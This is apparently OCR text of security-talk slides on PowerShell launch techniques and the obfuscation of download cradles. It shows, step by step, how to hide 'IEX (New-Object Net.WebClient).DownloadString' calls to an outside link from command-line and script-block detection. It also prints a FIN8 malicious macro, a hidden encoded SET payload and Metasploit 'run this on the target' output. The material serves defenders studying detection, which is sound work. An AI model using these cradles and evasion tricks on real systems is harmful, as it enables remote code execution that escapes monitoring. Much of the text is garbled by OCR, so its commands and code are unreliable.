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Preparing Your Environment for Investigations

Logs (and retention) are your friend = 1) enable 2) centralize 3) LOOK/MONITOR

Process Auditing AND Command Line Process Auditing > 4688 FTW!
e https://technet.microsoft.com/en-us/library/dn535776.aspx
e Sysinternals’ Sysmon is also a solid option

Real-time Process Monitoring
* Uproot IDS - https://github.com/Invoke-IR/Uproot

PowerShell Module, ScriptBlock, and Transcription logging ‘
e https://blogs.msdn.microsoft.com/powershell/2015/06/09/powershell-the-blue-team/
e https://www.fireeye.com/blog/threat-research/2016/02/sreater visibilityt.html



https://technet.microsoft.com/en-us/library/dn535776.aspx
https://github.com/Invoke-IR/Uproot
https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html
https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html

Launch Techniques

* PowerShell Help is the best in the business ©

-Command

Executes the specified commands (and any parameters) as though they were
typed at the Windows PowerShell command prompt, and then exits, unless
NoExit is specified. The value of Command can be "-", a string. or a
script block.

If the value of Command is "-", the command text is read from standard
input.

If the value of Command is a script block, the script block must be enclosed

in braces ({}). You can specify a script block only when running Power$hell.exe
in Windows PowerShell. The results of the script block are returned to the
parent shell as deserialized XML objects, not live objects.

If the value of Command is a string, Command must be the last parameter
in the command , because any characters typed after the command are
interpreted as the command arguments.

To write a string that runs a lWindows PowerShell command, use the format:
"& {<{command>}"

where the quotation marks indicate a string and the invoke operator (&)

causes the command to be executed.




Launch Techniques

* powershell.exe called by cmd.exe

* cmd.exe /c "powershell -c Write-Host SUCCESS -Fore Green"

C:\Users\limited_user\Desktop>cmd.exe /¢ "powershell -c Write-Host SUCCESS -Fore Green”

SUCCESS




Launch Techniques

powershell.exe called by crnd.exe

cmd.exe /c "powershell -c Write-Host SUCCESS -Fore Green"

cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"
cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell IEX Sinput"

C:\Users\limited_user\Desktop>cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"
SUCCESS

C:\Users\limited_user\Desktop>cmd.exe /¢ “"echo Write-Host SUCCESS -Fore Green | powershell IEX $input”
SUCCESS




Launch Techniques

e [Image: C:\Users\limited_user\Desktop\powershell.exe

CommandlLine: powershell - -

* cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"
e cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell IEX Sinput"

Image: C:\Users\limited_user\Desktop\powershell.exe
CommandLine: powershell IEX $input




Launch Techniques

e [Image: C:\Users\limited_user\Desktop\powershell.exe
CommandlLine: powershell - -

Parentlmage: C\Windows\System32\cmd.exe
ParentCommandLine: cnd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -™-

* cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"
e cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell IEX Sinput"

Image: C:\Users\limited_user\Desktop\powershell.exe
CommandLine: powershell IEX $input
Parentlmage: C:\Windows\System32\cmd.exe

ParentCommandLine: cnd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell IEX $input”-




Launch Technigues

* Is it safe to key off of cmd.exe with arguments | powershell ??
Of course not! "powershell" can be set and called as variables in cmd.exe

cmd /c "set pl=power&& set p2=shell&& cmd /c echo Write-Host SUCCESS -Fore Green |
o %p1%%p2% - "

Parentimage: C\Windows\System32\cmd.exe
ParentCommandLine: cnd /c echo Write-Host SUCCESS -Fore Green | %p1%%p2% -




Launch Techniques

Here is an example of FIN8 combining this environment variable obfuscation with
PowerShell stdin invocation

&4 Windows PowerShell =gy X

PS C:\Users 1ce-crackros-master> python .\oledump.py -p plugin_o
4be573014e944c09

emd /c echo % MICROSOFT UPDATE CATALOG% | % MICROSOFT UPDATE SERVICE%

Plugin: Sketchy cipher detected: OfficeCrackros plugin by Nick Carr
MsgBox Word was unable to read this document. It may be corrupt.
'Set AuusvjItmbcqlw = Zmhhxmjvhmikj (winmgmts:\\.\\root\\cimv2:Win32_ProcessStartup)’
'Set Jxrdrd = Zmhhxmivhmiki(winmamts:\\.\\root\\cimv2:Win32 Process)'
0iiuzhf =|cmd /c echo % _MICROSOFT_UPDATE_CATALOG% | % _MICROSOFT_UPDATE_SERVICE%
Set LufluibdLufugdm = ZmhhxmjVhmikj(New:WScript.Shell).Environment (New:WScript.Shell)
Set LufluibdLufugdm = ZmhhxmjVvhmik3j(New:WScript.Shel11PROCESS) .Environment (New:WScript.Shel1PROCESS)
If Len(Luf1u1deufuqdm(Programw6432))
0qcyji = _CT=
0qcyJi = 0qcyji & vbCrLf & _PA=237559

0qcyji = 0qcyji & vbCrLf & _KE=487553
CT=
Oqcyji & vberLf & _PA=161676 pOWEfShE" -
0qcy)i & vbCrLf & _KE=289669

0qcy]i
0qcy)i & vbCrLf & _MICROSOFT_UPDATE_SERVICE=powershell -

Oqch1
0gcy]i
Oqch1

0qcyji = 0qcyJi & vbCrLf & _MICROSOFT_UPDATE_CATALOG=
["Yczgeptq = $s=SEnv:_CT;$0="";$1=8s.length;$i=3Env:_PA%S$1;while($80.length -ne$1){So0+=8s[$1];8i=(8i+SEnv:_KE)%$1}iex($0)"
Ad: 3639 'WRA/_VRA_PRNIECT'
AS: 738 'VBA/dir'
B: word/activex/activex2.bin
B1: 112 "\x01CompObj'
N &2: 46412 'f'

SEnv CT So—" SI=$s.length;Si=SEnv:_PA%SI;while(So.length -neSI){So+=5s[Si];Si=(Si+SEnv:_KE)%SI}iex($0)

C

C3 0 ‘o'



Launch Techniques

Here is an example of FIN8 combining this environment variable obfuscation with
PowerShell stdin invocation

&4 Windows PowerShell = ==y X

PS Ci\Users = cmd.exe /c echo %varl% | %var2% PSGeber 717 6eb 2305 330cA804 30 LA0T DO

p4be573014e944c09

cmd /c echo % MICROSOFT UPDATE CATALOG% | % MICROSOFT UPDATE SERVICE%

Plugin: Sketchy cipher detected: OfficeCrackros plugin by Nick Carr
MsgBox Word was unable to read this document. It may be corrupt.
'Set AuusvjItmbcqlw = thhxmjvhmikj(winmgmts:\\.\\root\\cimvz:win32_ProcessStartuo)'
'Set Jxrdrd = Zmhhxmivhmiki(winmamts:\\.\\root\\cimv2:Win32 Process)'
0iiuzhf =|cmd /c echo % _MICROSOFT_UPDATE_CATALOG% | % _MICROSOFT_UPDATE_SERVICE%
set LufluibdLufugdm = ZmhhxmjVhmiKj (New: WScr1pt SheT1).Environment (New:wscript.shell)

S:t LuE1u;?dngqum ; %mhhxmjvhm1kj§§ew :WScript.She11PROCESS) .Environment (N
If Len(LufluibdLufugdm(Programw6432
0acyd1 = - CT= powershell -
0qcyJi = 0qcyji & vbCrLf & _PA=237559
0qcyji = 0qcyji & vbCrLf & _KE=487553
CT=
Oqcyji & vberLf & _PA=161676 pOWEfShE" -
0qcy)i & vbCrLf & _KE=289669

0qcy]i
0qcy)i & vbCrLf & _MICROSOFT_UPDATE_SERVICE=powershell -

Oqch1
0qcyji
Oqch1

0qcyji = 0qcyJi & vbCrLf & _MICROSOFT_UPDATE_CATALOG=
|"Yczqeptq = $s=8Env:_CT;S0="";$1=3s.length;$i=SEnv:_PA%S$1;while(So.length -ne$1){So+=8s[$i];81=(Si+SEnv:_KE)%$1}iex($0)"
Ad: 3639 'VRA/_VRA_PRNIECT'
AS: 738 VBA/d1r
B: word/activex/activex2.bin
B1: 112 "\x01CompObj'
N &2: 46412 'f'

SEnv _CT; So—" SI=$s.length;Si=SEnv:_PA%SI;while(So.length -neSI){So+=5s[Si];Si=(Si+SEnv:_KE)%SI}iex(So)

C

C3 0 ‘o'



Launch Techniques

powershell.exe called by cmd.exe

cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"
cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell IEX Sinput"

cmd.exe /c "set cmd=Write-Host ENV -Fore Green && powershell IEX Senv:cmd"

Kovter <3 this! W

Can also use .Net function or GCI/dir:
[Environment]::GetEnvironmentVariable('cmd’, 'Process’)
(Get-Childitem/Childitem/GCI/DIR/LS env:cmd).Value



Launch Techniques

Image: C\Windows\System32\clip.exe
CommandlLine: clip -
* powershell.exe called by cmd.exe
* cmd.exe /c "echo Write-Host SUCCESS -Fore Greef® | powershell -"
* cmd.exe /c "echo Write-Host SUCCESS -Fore Greel | powershell IEX Sinput"
e cmd.exe /c "set cmd=Write-Host ENV -Fore Green® & powershell IEX Senv:cmd"

* cmd.exe /c "echo Write-Host CLIP -Fore Green | clip && powershell [void]
[System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms')
; IEX ([System.Windows.Forms.Clipboard]::GetText())"

Image: C:\Users\limited_user\Desktop\powershell.exe

CommandLine: powershell [void] [System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms"); IEX ([System.Windows.Forms.Clipboard]::GetText())-

Parentlmage: C:\Windows\System32\cmd.exe
ParentCommandLine: cmd.exe /c "echo Write-Host CLIP -Fore Green | clip&& powershell [void] [System.Reflection.Assembly]:LoadWithPartialName('System.Windows.Forms’); IEX ([System.Windows.Forms.Clipboard]:GetText()"-



Launch Techniques

* So we just apply detection logic to Child and Parent process arguments and
we’re good...Right?



Launch Techniques

* cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"

Image: C:\Users\limited user\Desktop\powershell.exe
CommandLine: powershell -

Parentlmage: C\Windows\System32\cmd.exe
ParentCommandLline: cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -'=




Launch Techniques

* cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"

* cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green && cmd /c echo %cmd% |
powershell -"

Does this work???



Launch Techniques

 cmd.exe /c "echo Write-Host SUCCESS -Fore G

 cmd.exe /c "set cmd=Write-Host SUCCESS -Fo
powershell -"

%,s@

Image: C:\Users\limited_user\Desktop\powershell.exe ORI,
Com mand line: DDWEI’ShE" _ _ http://ohtoptens.com/wp-content/uploads/2015/05/Grumpy-Cat-NO-8.jpg

Parentlmage: C\Windows\System32\cmd.exe
ParentCommandLine: cmd.exe /c "set cnd=Write-Host SUCCESS -Fore Green8& cmd /c echo %cmd% | powershell -2

[ |

Executes, but arguments are still visible in parent process.




Launch Techniques

* cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"
* cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green && cmd /c echo %cmd% |

powershell -" /

Escape with  for cmd.exe




Launch Techniques

* cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"

e cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green && cmd /c echo %cmd%
A | powershell -"

\— Escape with ” for cmd.exe

Does this work???



Launch Techniques

 cmd.exe /c "echo Write-Host SUCCESS -Fore Green

 cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Gr:
A | powershell -"

Image: C\Users\limited_user\Desktop\powershell.exe
CommandLline: powershell -

Parentlmage: C\Windows\System32\cmd.exe
ParentCommandLine: cmd /c echo M | powershell -_

http://journalthis.danoah.com/wp-content/uploads/best-funniest-grumpy-cat-22.jpg



Launch Techniques

A | powershell -"
o cmd /c echo %cmd% | powershell -
e powershell -

(md.exe /c "set cmd=Write-Host SUCCESS -Fore Green && cmd /c echo %cmd%

» Detect by recursively checking parent process command arguments?
Not 100% of the time ®



Launch Techniques

e Set content in one process and then query it out and execute it from another
completely separate process. NO SHARED PARENT PROCESS!

 cmd /c "title WINDOWS _DEFENDER_UPDATE && echo IEX (IWR
https://bit.ly/L3g1t)&& FOR /L %i IN (1,1,1000) DO echo"

* cmd /c "powershell IEX (Get-WmiObject Win32_Process -Filter \*"Name =
‘cmd.exe’ AND CommandLine like

'%WINDOWS DEFENDER_UPDATE%'\*").CommandLine.Split([char]38)[2].SubStri
ng(5)"



Launch Technigues

* The good news? PowerShell script block logs capture ALL of this.

* The bad news? Token-layer obfuscation persists into script block logs.



> Obfuscating the Cradle

‘ t:/pentest/exploits/set/reports/powershell# 1s
powerdump.encoded.txt x64 powershell injection. txt
powershell.rc x86 powershell injection.txt
¢ bt:/pentest/exploits/set/reports/powershell# cat x64 powersheldl injection.t
xt
powershell -noprofile -windowstyle hidden -noninteractive -EncodedCommand JABjA
SB8AZABLACAAPQAgACCAWWBEAGWADABIAGOACABVAHIAdAAOACTIAawBLAHIADgBLAGWAMWAYAC4AZABSA
AIgAPAFOACABI1AGIADABPAGMAIABZAHQAY(QBOAGKAYWAGAGUAEABOAGUACgBUACAASOQBUAHQAUABOAH,
TATABWAGKACgBOAHUAYQBSAEEADABSAGBAYWAOAEKADgBOAFAAJABYACAADABWAEEAZABKAHIAZQBZAH
1-Lé&gAHUAaOBuAHOAIABkAHcAUprAHoAZOASACAAdOBpAG4AdAAgAGYAbABBAGwAbABVAGMAYOBOA
KADwBUAFQAeQBWAGUALAAgAHUAaQBUAHQAIABMAGWAUABYAGBAdABLAGMAdAAPDADSAWWBEAGWADABJA
OACABVAHIAdAAOACIAawBLAHIADgBLAGWAMWAYAC4AZABSAGWAIgAPAFOACABI1AGIADABpAGMATIABZAH
QAYQBOAGKAYWAQAGUAEABOAGUACgGBUACAASOQBUAHQAUABOAHIAIABDAHIAZOBhAHQAZQBUAGgQACgBLAG
EAZAAOCAEKADgBOAFAAdABYACAADABWAFQAaABYAGUAYQBKAEEAdABOAHIAaAQBiAHUAJABLAHMALAAgAH
UAaQBUAHQAIABKAHCAUWBOAGEAYWBrAFMAaQBOAGUALAAGAEKADgBOAFAAJABYACAADABWAFMAJABAHA
IAdABBAGQAZABYAGUACWBZACWAIABIAGAAdABQAHQACgAgAGWACABQAGEACgBhAGOAZQBOAGUACgASAC
AAdQBpAG4AdAAGAGQAdWBDAHIAZOBhAHQAGOBVAG4ARgBSAGEAZWBZACWAIABIAGA4AdABQAHQACgAQAG
ACABUAGQACgBLAGEAZABIJAGQAKQA7AFSARABSAGWASQBTAHAADWBYAHQAKAAIAGOACWB2AGMACgBOAC
4AZABSAGWAIgAPAFOACABIAGIADABPAGMAIABZAHQAYQBOAGKAYWAgAGUAeABOAGUACgBUACAASQBuUA
QAUABOAHIAIABTAGUADQBZAGUAJAAOAEKADgBOAFAAJABYACAAZABLAHMAJAASACAAdOBPAGAAdAAQAH
MAcCgB]ACWAIAB1AGKADgBOACAAYWBVAHUADgBOACKAOWANADSAJAB3AGKADgBGAHUADgB JACAAPQAQAE
EAZABKACOAVABSAHAAZQAQACOADOBLAGOAYgBLAHIARABLAGYAaQBUAGKAJABPAGSBADgAgACQAYWBVA
QAZQAgACBOATgBhAGOAZQAgGACIAVWBPAGAAMWAYACIATAATAGAAYQBTAGUACWBWAGEAYWB LACAAVWBPAG

- - p - - - - ev— - - v - - - - Pem———— [P ———— - . —g——



Obfuscating the Cradle: (New-Object Net.WebClient)

* Invoke-Expression (New-Object System.Net.WebClient).DownloadString("https://bit.ly/L3g1t")

* Veil

* downloaderCommand = "iex (New-Object Net.WebClient).DownloadString(\"http://%s:%s/%s\")\n*

* https://github.com/nidem/Veil/blob/master/modules/payloads/powershell/psDownloadVirtualAlloc.py#L76
* PowerSploit

e SWpad = (New-Object Net.Webclient).DownloadString(SAutoConfigURL)

* https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1#L1375

= Metasploit (http://blog.cobaltstrike.com/2013/11/09/schtasks-persistence-with-powershell-one-liners/)

exploit( ) > exploit -j
Exploit running as background job.
‘] Using URL: http://0.0.0.0:8080/5RJLaYDG
Local IP: http://192.168.95.225:8080/5RJLaYDG

Server started.
‘] Run the following command on the target machine:
-¢ "IEX ((new-object net.webclient).downloadstring('http://192.168.95.201:8080/5RJLaYDG"))"




Obfuscating the Cradle: (New-Object Net.WebClient)

* Invoke-Expression (New-Object System.Net.WebClient).DownloadString("https://bit.ly/L3g1t")

* What script block elements can we key off of for this?



Obfuscating the Cradle

* Invoke-Expression (New-Object System.Net.WebClient).DownloadString("https://bit.ly/L3g1t")

* What s¢ript block elements can we key off of for this?
* Invoke-Expression



Obfuscating the Cradle

* |nvoke-Expression (New-Object System.Net.WebClient).DownloadString("https://bit.ly/L3g1t")

* What script blg

* |nvoke-Expges
* New-Object

elements can we key off of for this?



Obfuscating the Cradle

* |nvoke-Expression (New-Object System.Net.WebClient).DownloadString("https://bit.ly/L3g1t")

* What script block elementsécan we key off of for this?
* Invoke-Expression
* New-Object
e System.Net.WebClient



Obfuscating the Cradle

* |nvoke-Expression (New-Object System.Net.WebClient).DownloadString("https://bit.ly/L3g1t")

* What script block elements can we off of for this?

* Invoke-Expression

* New-Object

e System.Net.WebClient
e ).DownloadString("http



Obfuscating the Cradle

* |nvoke-Expression (New-Object System.Net.WebClient).DownloadString("https://bit.ly/L3g1t")

* What script block elements can we key off of for this?
* Invoke-Expression
* New-Object
e System.Net.WebClient
e ).DownloadString("http

* Now let's demonstrate why assumptions are dangerous!



Obfuscating the Cradle

* Invoke-Expression (New-Object System-Net.WebClient).DownloadString("https://bit.ly/L3g1t")

* What script block elements can we key off of for this?
* Invoke-Expression
* New-Object
+—System-Net.WebClient (System.* is not necessary for .Net functions)
e ).DownloadString("http



Obfuscating the Cradle

* |nvoke-Expression (New-Object Net.WebClient).DownloadString("https://bit.ly/L3g1t")

* What script block elements can we key off of for this?
* Invoke-Expression
* New-Object
* Net.WebClient
e ).DownloadString("http



Obfuscating the Cradle

* Invoke-Expression (New-Object Net.WebClient).DownloadStringthttes://bit.ly/L3g1t")

* What script block elements can we key off of for this?
* Invoke-Expression
* New-Object
* Net.WebClient
e ).DownloadStringfhttp (url is a string and can be concatenated)



Obfuscating the Cradle

* Invoke-Expression (New-Object Net.WebClient).DownloadStringfht+-tps://bit.ly/L3g1t")

* What script block elements can we key off of for this?
* Invoke-Expression
* New-Object
* Net.WebClient
e ).DownloadStringfhttp (url is a string and can be concatenated)



Obfuscating the Cradle

* |nvoke-Expression (New-Object Net.WebClient).DownloadString("ht"+"tps://bit.ly/L3g1t")

* What script block elements can we key off of for this?
* Invoke-Expression
* New-Object
* Net.WebClient
e ).DownloadString("



Obfuscating the Cradle

* |Invoke-Expression (New-Object Net.WebClient).DownloadString(-=ht'+'tps://bit.ly/L3g1t')

* What script block elements can we key off of for this?
* Invoke-Expression
* New-Object
* Net.WebClient

e ).DownloadString(= (PowerShell string can be single or double quotes)
(...and did | mention whitespace?)
(...URL can also be set as variable.)



Obfuscating the Cradle

* Invoke-Expression (New-Object Net.WebClient).DownloadString( 'ht'+'tps://bit.ly/L3g1t')

* What script block elements can we key off of for this?
* Invoke-Expression
* New-Object
* Net.WebClient
e ).DownloadString|(



Obfuscating the Cradle

* Invoke-Expression (New-Object Net.WebClient).DownloadStrirg{ 'ht'+'tps://bit.ly/L3g1t')

* What script block elements can we key off of for this?
* Invoke-Expression
* New-Object
* Net.WebClient
* ).DownloadStrirgt (is .DownloadString the only method for Net.WebClient?)



Obfuscating the Cradle

* Invoke-Expression (New-Object Net.WebClient).DownloadStrirg{ 'ht'+'tps://bit.ly/L3g1t')

Net.WebClient class has options:
 .DownloadString
e What script block elements ¢ © -PownloadStringAsync
 .DownloadStringTaskAsync
e .DownloadFile

Invoke-Expression

NeW_ObJeC_t  .DownloadFileAsync
Net.WebClient  .DownloadFileTaskAsync
).DownloadsStringt * .DownloadData
 .DownloadDataAsync
e .DownloadDataTaskAsync
e etc.



Obfuscating the Cradle

* Invoke-Expression (New-Object Net.WebClient).DownloadString( 'ht'+'tps://bit.ly/L3g1t')

* What script block elements can we key off of for this?
* Invoke-Expression
* New-Object
* Net.WebClient
e ).Download



Obfuscating the Cradle

* |Invoke-Expression (New-Object Net.WebClient}.DownloadString( 'ht'+'tps://bit.ly/L3g1t')

* What script block elements can we key off of for this?
* Invoke-Expression
* New-Object
* Net.WebClient
»—}.Download



Obfuscating the Cradle

* |Invoke-Expression (New-Object Net.WebClient}.DownloadString( 'ht'+'tps://bit.ly/L3g1t')

* What script block elements can we key off of for this?
* Invoke-Expression
* New-Object

* Net.WebClient Swc = New-Object Net.Webclient;
»—}.Download Swc.DownloadString( 'ht'+'tps://bit.ly/L3g1t")

(New-Object Net.WebClient) can be set as a variable:



Obfuscating the Cradle

* Invoke-Expression (New-Object Net.WebClient).DownloadString( 'ht'+'tps://bit.ly/L3g1t')

* What script block elements can we key off of for this?
* Invoke-Expression
* New-Object
* Net.WebClient
e .Download



Obfuscating the Cradle

* |nvoke-Expression (New-Object Net.WebClient):DownloadString( 'ht'+'tps://bit.ly/L3g1t')

* What script block elements can we key off of for this?
* Invoke-Expression
* New-Object
* Net.WebClient
»—Download (Member token obfuscation?)



Obfuscating the Cradle

* |nvoke-Expression (New-Object Net.WebClient):'DownloadString'( 'ht'+'tps://bit.ly/L3g1t')

* What script block elements can we key off of for this?
* Invoke-Expression
* New-Object
* Net.WebClient
»—Download (single quotes...)



Obfuscating the Cradle

* |Invoke-Expression (New-Object Net.WebClient):"DownloadString"( 'ht'+'tps://bit.ly/L3g1t')

* What script block elements can we key off of for this?
* Invoke-Expression
* New-Object
* Net.WebClient
»—Download (double quotes...)



Obfuscating the Cradle

* |nvoke-Expression (New-Object Net.WebClient)."DownloadString"('ht'+'tps://bit.ly/L3g1t")

* What script block elements can we key off of for this?
* Invoke-Expression
* New-Object
* Net.WebClient
 Download (tick marks??)



Obfuscating the Cradle

* |nvoke-Expression (New-Object Net.WebClient)."Down loadString"( 'ht'+'tps://bit.ly/L3g1t')

Get-Help about_Escape Characters

USING SPECIAL CHARACTERS

When used within quotation marks, the escape character indicates a

® What Script blOCk elements [ ] special character that prouvides instructions to the command parser.
- |nVOke—EXpreSS|On The following special characters are recoghized by Windows PowerShell:

* New-Object

* Net.WebClient

e Download

Null

Alert

Backspace

Form feed

New line
Carriage return
Horizontal tab
Uertical tab

R
C YD hT oo

In Windows PowerShell, the escape character is the backtick (), also called the grave accent



Obfuscating the Cradle

( ).""D'o’'wn’l'oa’d’Striin’g"( 'ht'+'tps://bit.ly/L3g1t')

Get-Help about_Escape Characters

USING SPECIAL CHARACTERS

When used within quotation marks, the escape character indicates a

® What Script blOCk elements [ ] special character that prouvides instructions to the command parser.

The following special characters are recoghized by Windows PowerShell:

Null

Alert

Backspace

Form feed

New line
Carriage return
Horizontal tab
Uertical tab

R
C YD hT oo

e Download

For example:

PS C:\> "12345678123456781 nColl tColumn2 tCol3"
12345678123456781
Coll Column2 Col3



Obfuscating the Cradle

( 1 D o'W NTo'A'd S TR NG
'ht'+'tps://bit.ly/L3g1t")

Get-Help about_Escape Characters

USING SPECIAL CHARACTERS

When used within quotation marks, the escape character indicates a

® What Script blOCk elements [ ] special character that prouvides instructions to the command parser.

The following special characters are recoghized by Windows PowerShell:

Null

Alert

Backspace

Form feed

New line
Carriage return
Horizontal tab
Uertical tab

R
C YD hT oo

e Download

For example:

PS C:\> "12345678123456781 nColl tColumn2 tCol3"
12345678123456781
Coll Column2 Col3
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* Invoke-Expression (New-Object Net.WebClient)." Dow NTo AdSTRi'Ng"(
'ht'+'tps://bit.ly/L3g1t")

DowNToAdSTRING
* What script block elements can we key off of for this?
* Invoke-Expression

e New-0O bject Event 4104, PowerShell (Microsoft-Windows-Powershell)
* Net.WebClient General Details
i

Creating Scniptblock text (1 of 1)
Invoke-Expression (New-Object Net. WebChent). | NGRS ERANCE: | 'ht'+ tps//bit.ly/L3g1t)




Obfuscating the Cradle

* Invoke-Expression (New-Object Net.WebClient)." Dow NTo AdSTRi'Ng"(
'ht'+'tps://bit.ly/L3g1t")

* What script block elements can we key off of for this?
* Invoke-Expression
* New-Object
* Net.WebClient
i (Options: RegEx all the things or scratch this indicator)



Obfuscating the Cradle

* Invoke-Expression (New-Object Net.WebClient)." Dow NTo AdSTRi'Ng"(

ht'+'tps://bit.ly/L3g1t) WebClient class has options:

e .DownloadString...

_ * .DownloadFile...
* What script block elements ¢ .  pownloadData. .

* Invoke-Expression  .OpenRead
* New-Object  .OpenReadAsync
e Net.WebClient * .OpenReadTaskAsync

i (Options: RegEx all the things or scratch this indicator)



Obfuscating the Cradle

* Invoke-Expression (New-Object Net.WebClient)." Dow NTo AdSTRi'Ng"(
'ht'+'tps://bit.ly/L3g1t")

DownloadString CAN be treated as a string or variable with .Invoke! (req’d in PS2.0)

* Invoke-Expression (New-Object Net.WebClient).("Down"+"loadString").Invoke(
'ht'+'tps://bit.ly/L3g1t')

Sds = "Down"+"loadString"; Invoke-Expression (New-Object Net.WebClient).
Sds.Invoke('ht'+'tps://bit.ly/L3g1t")



Obfuscating the Cradle

* Invoke-Expression (New-Object Net.WebClient)." Dow NTo A'dSTRiNg"(
'ht'+'tps://bit.ly/L3g1t")

* What script block elements can we key off of for this?
* Invoke-Expression
* New-Object
 Net.WebClient



Obfuscating the Cradle

* Invoke-Expression (New-Object Net.WebClient)." Dow NTo A'dSTRi'Ng"(
'ht'+'tps://bit.ly/L3g1t")

* What script block elements can we key off of for this?
* Invoke-Expression
* New-Object
* Net.WebClient



Obfuscating the Cradle

* Invoke-Expression (New-Object Net.WebClient)." Dow NTo A'dSTRi'Ng"(
'ht'+'tps://bit.ly/L3g1t")

* What script block elements can we key off of for this?

* Invoke-Expression yye have options...

* New-Object 1. (New-Object"' N'eT."W'e'B'Cl'i'e’'N'T")
* Net.WebClient 2. (New-Obiject ("Net"+" Web"+"Client"))
3. Svarl="Net."; Svar2="WebClient"; (New-Object SvarlSvar2)



Obfuscating the Cradle

* Invoke-Expression (New-Object""N'e'T."W'e'B'C'I'i'e’N'T")."'D’o’'w'N'I'0’A'd"S ' T'R'i'N'g"(
'ht'+'tps://bit.ly/L3g1t")

* What script block elements can we key off of for this?

* Invoke-Expression \ye haye options...

* New-Object 1. (New-Object"'N'e'T."W'e'B'C'l'i'e’'N'T")
—NetWebclient 2. (New-Object("Net"+" Web"+"Client"))
3. Svarl="Net."; Svar2="WebClient"; (New-Object SvarlSvar2)



Obfuscating the Cradle

* Invoke-Expression (New-Object"N'eT. WeBClieNT")."DowNIToAdSTRiNg"(
'ht'+'tps://bit.ly/L3g1t")

* What script block elements can we key off of for this?
* Invoke-Expression
* New-Object



Obfuscating the Cradle

* Invoke-Expression (New-Object"N'eT. WeBClieNT")."DowNIToAdSTRIi'Ng"(
'ht'+'tps://bit.ly/L3g1t")

* What script block elements can we key off of for this?
* Invoke-Expression
* New-Object

* There aren't any aliases for New-Object cmdlet, so shouldn't this be safe to trigger on?
If only PowerShell wasn't so helpful...



Obfuscating the Cradle

(New-Object""N'e'T."'W'e'B'Cli'e’N'T")." D’'o'w'N' 0’ A'd’S T'R'i'N"g"(

'ht'+'tps://bit.ly/L3g1t")

* What script block elements can we key off of for this?

* New-Object

 Get-Command -2
shows all available
functions, cmdlets,
etc.

PS C:\Users\limited_user\Desktop> Get-Command New-Px

Function
Cmdlet
Cmdlet
Cmdlet
Cmdlet
Cmdlet
Cmdlet

Name

New-PSllorkflowSession
New-PSDrive

New-PS$Session
New-PSSessionConfigurationFile
New-PSSessionOption
New-PSTransportOption
New-PSWorkflowExecutionOption

ModuleName

PSWorkflow
Microsoft.PowerShell.
Microsoft.PowerShell.
Microsoft.PowersShell.
Microsoft.PowerShell.
Microsoft.PowerShell.
PSWorkflow




Obfuscating the Cradle

* Invoke-Expression (New-Object"N'eT. WeBClieNT")."DowNIToAdSTRIi'Ng"(
'ht'+'tps://bit.ly/L3g1t")

* What script block elements can we key off of for this?
* Invoke-Expression
* New-Object

* Get-Command = Return a single cmdlet name? Why not invoke it!

* Invoke-Expression(Get-Command New-Object)

|

But we can be more creative...



Obfuscating the Cradle

* Invoke-Expression (New-Object"N'eT. WeBClieNT")."DowNIToAdSTRIi'Ng"(
'ht'+'tps://bit.ly/L3g1t")

* What script block elements can we key off of for this?
* Invoke-Expression
* New-Object

* Get-Command = Return a single cmdlet name? Why not invoke it!

* & (Get-Command New-Object)
* . (Get-Command New-Obiject)

There we go... invocation ops



Obfuscating the Cradle

* Invoke-Expression (New-Object"N'eT. WeBClieNT")."DowNIToAdSTRIi'Ng"(
'ht'+'tps://bit.ly/L3g1t")

* What script block elements can we key off of for this?
* Invoke-Expression
* New-Object

e Get-Command = Wildcards are our friend...

* & (Get-Command New-Object)
* . (Get-Command New-Obiject)



Obfuscating the Cradle

* Invoke-Expression (New-Object"N'eT. WeBClieNT")."DowNIToAdSTRIi'Ng"(
'ht'+'tps://bit.ly/L3g1t")

* What script block elements can we key off of for this?
* Invoke-Expression
* New-Object

e Get-Command = Wildcards are our friend...

& (Get-Command New-Objec*)
* . (Get-Command New-Objec*)



Obfuscating the Cradle

* Invoke-Expression (New-Object"N'eT. WeBClieNT")."DowNIToAdSTRIi'Ng"(
'ht'+'tps://bit.ly/L3g1t")

* What script block elements can we key off of for this?
* Invoke-Expression
* New-Object

* Get-Command = Wildcards are our friend...
e & (Get-Command New-Obje*)
* . (Get-Command New-Obje*)



Obfuscating the Cradle

* Invoke-Expression (New-Object"N'eT. WeBClieNT")."DowNIToAdSTRIi'Ng"(
'ht'+'tps://bit.ly/L3g1t")

* What script block elements can we key off of for this?
* Invoke-Expression
* New-Object

e Get-Command = Wildcards are our friend...

e & (Get-Command New-Obj*)
* . (Get-Command New-Obj*)



Obfuscating the Cradle

* Invoke-Expression (New-Object"N'eT. WeBClieNT")."DowNIToAdSTRIi'Ng"(
'ht'+'tps://bit.ly/L3g1t")

* What script block elements can we key off of for this?
* Invoke-Expression
* New-Object

e Get-Command = Wildcards are our friend...

& (Get-Command New-Ob*)
* . (Get-Command New-Ob*)



Obfuscating the Cradle

* Invoke-Expression (New-Object"N'eT. WeBClieNT")."DowNIToAdSTRIi'Ng"(
'ht'+'tps://bit.ly/L3g1t")

* What script block elements can we key off of for this?
* Invoke-Expression
* New-Object

e Get-Command = Wildcards are our friend...

& (Get-Command New-0%*)
